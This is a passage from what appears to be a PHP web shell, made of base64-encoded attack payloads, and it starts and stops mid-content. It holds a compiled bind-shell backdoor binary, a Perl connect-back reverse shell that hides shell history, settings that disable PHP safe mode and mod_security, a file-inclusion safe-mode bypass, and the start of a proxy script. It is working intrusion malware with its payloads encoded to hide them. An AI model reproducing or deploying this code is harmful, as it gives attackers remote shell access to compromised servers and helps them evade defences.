IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; $port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; $back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0="; $php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY="; $htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+"; $sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg=="; $phpproxy=" PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZ